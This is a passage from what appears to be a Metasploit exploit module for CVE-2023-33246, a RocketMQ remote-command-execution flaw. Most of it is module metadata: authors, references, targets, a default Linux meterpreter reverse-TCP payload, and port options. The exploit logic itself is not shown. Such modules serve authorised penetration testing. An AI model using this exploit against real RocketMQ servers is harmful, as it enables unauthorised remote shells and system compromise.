An attacker can exploit this vulnerability by using          the update configuration function to execute commands as the system users that RocketMQ is running as.          Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.        },        'Author' => [          'Malayke', # PoC          'jheysel-r7',  # module - RCE portion          'h00die',      # module - Version detection & parsing        ],        'References' => [          [ 'URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples'],          [ 'CVE', '2023-33246']        ],        'License' => MSF_LICENSE,        'Platform' => %w[unix linux],        'Privileged' => false,        'Arch' => [ ARCH_CMD ],        'Targets' => [          [            'Automatic (Unix In-Memory)',            {              'Platform' => %w[unix linux],              'Arch' => ARCH_CMD,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },              'Type' => :nix_memory            }          ],        ],        'Payload' => {          'BadChars' => "\x27"        },        'DefaultOptions' => {          'WfsDelay' => 60        },        'DefaultTarget' => 0,        'DisclosureDate' => '2023-05-23',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options(      [        OptPort.new('RPORT', [true, 'The RocketMQ NameServer port', 9876]),        OptPort.new('BROKER_PORT', [false, 'The RocketMQ Broker port.
